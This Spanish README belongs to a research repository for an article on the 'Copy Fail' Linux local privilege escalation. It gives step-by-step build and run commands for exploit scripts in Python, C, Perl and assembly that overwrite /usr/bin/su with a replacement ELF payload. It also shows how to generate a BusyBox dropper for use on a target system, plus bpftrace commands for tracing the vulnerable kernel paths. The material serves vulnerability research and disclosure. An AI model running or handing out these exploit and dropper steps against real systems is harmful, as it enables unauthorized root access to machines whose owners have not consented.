
Artefactos de investigación, scripts de PoC y activos de laboratorio para el artículo sobre escalada de privilegios local Copy Fail Linux en https://4xura.com/binex/kernel/copy-fail
Artefactos y scripts para el artículo de CopyFail.
El recorrido detallado:
proof-of-concept/ contiene las demostraciones solo con primitivas usadas en el artículo.exploit-scripts/ contiene las implementaciones completas del exploit en Python, C, Perl y ensamblador x86_64.bpftrace-scripts/ contiene los pequeños ayudantes de rastreo usados durante el análisis en tiempo de ejecución.Solo los artefactos de Perl, ensamblador y BusyBox esperan un ELF de reemplazo externo. En los ejemplos a continuación, ese archivo se llama payload.pwnkit.elf, pero cualquier nombre de archivo está bien.
Ese payload no se genera dentro de este repositorio. Créalo primero siguiendo el flujo de trabajo del payload del artículo, luego coloque el ELF resultante en el mismo directorio de trabajo que el artefacto que desea ejecutar.
Los PoCs primitivos y los controladores de exploit en Python/C se pueden ejecutar directamente tal cual.
Estos PoCs son principalmente para demostración en el artículo. Muestran la primitiva de sobrescritura de forma aislada, no el flujo completo de reemplazo-ejecución.
Para ejecutar la demo en Python, entre al directorio PoC y ejecute el script:
cd proof-of-concept
python3 copyfail_poc.py
Para ejecutar la demo en C, constrúyala primero y luego ejecute el binario resultante:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
El exploit en Python es autocontenido y mantiene los bytes de reemplazo dentro del propio script.
Cambie al directorio del exploit y ejecute la ruta de destino predeterminada:
cd exploit-scripts
python3 exploit.py
Si desea un nombre base de destino diferente, pase como primer argumento. Para habilitar los registros de sobrescritura por fragmento, establezca DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
El exploit en C también es autocontenido. Si desea preparar un reemplazo diferente, primero edite PAYLOAD_BYTES en exploit-scripts/exploit.c.
Construya el binario estático (opcional) de la siguiente manera:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Luego ejecute el destino predeterminado, o pase un nombre base diferente. El registro de depuración se controla mediante DEBUG=1:
./exploit
./exploit su
DEBUG=1 ./exploit su
Esta versión lee un payload ELF externo en lugar de incrustar bytes de reemplazo en el script.
Ejecútelo desde el directorio del exploit. Sin argumentos adicionales, usa el destino predeterminado y la ruta del payload predeterminada:
cd exploit-scripts
perl exploit.pl
Si desea elegir tanto la ruta de la víctima como el ELF del payload explícitamente, pase como argumentos. El registro de depuración también se controla mediante DEBUG=1:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Esta versión también consume un payload ELF externo. En el ejemplo a continuación, se llama payload.pwnkit.elf, pero puede usar cualquier nombre de archivo. Si lo renombra, actualice la línea incbin en exploit-scripts/exploit.asm para que coincida.
Construya el controlador en ensamblador con nasm y ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Luego ejecute el destino predeterminado, o pase una ruta de destino completa:
./exploit_asm
./exploit_asm /usr/bin/su
Este empaqueta el controlador en ensamblador y un payload ELF externo en un ejecutor compatible con BusyBox. El ejemplo a continuación usa payload.pwnkit.elf, pero cualquier nombre de archivo de payload está bien siempre que pase la misma ruta al empaquetador.
Genere el dropper desde el directorio del exploit:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
En el sistema de destino, ejecute el script generado con BusyBox sh:
busybox sh ./copyfail-busybox.sh /usr/bin/su
Antes de ejecutar los ayudantes de rastreo, verifique que los símbolos relevantes estén disponibles:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Para observar las páginas de archivo que entran en la ruta de splicing, ejecute:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Para observar los datos respaldados por tuberías (pipe) que llegan a AF_ALG, ejecute:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Para observar la función de devolución de llamada vulnerable authencesn de descifrado, ejecute:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt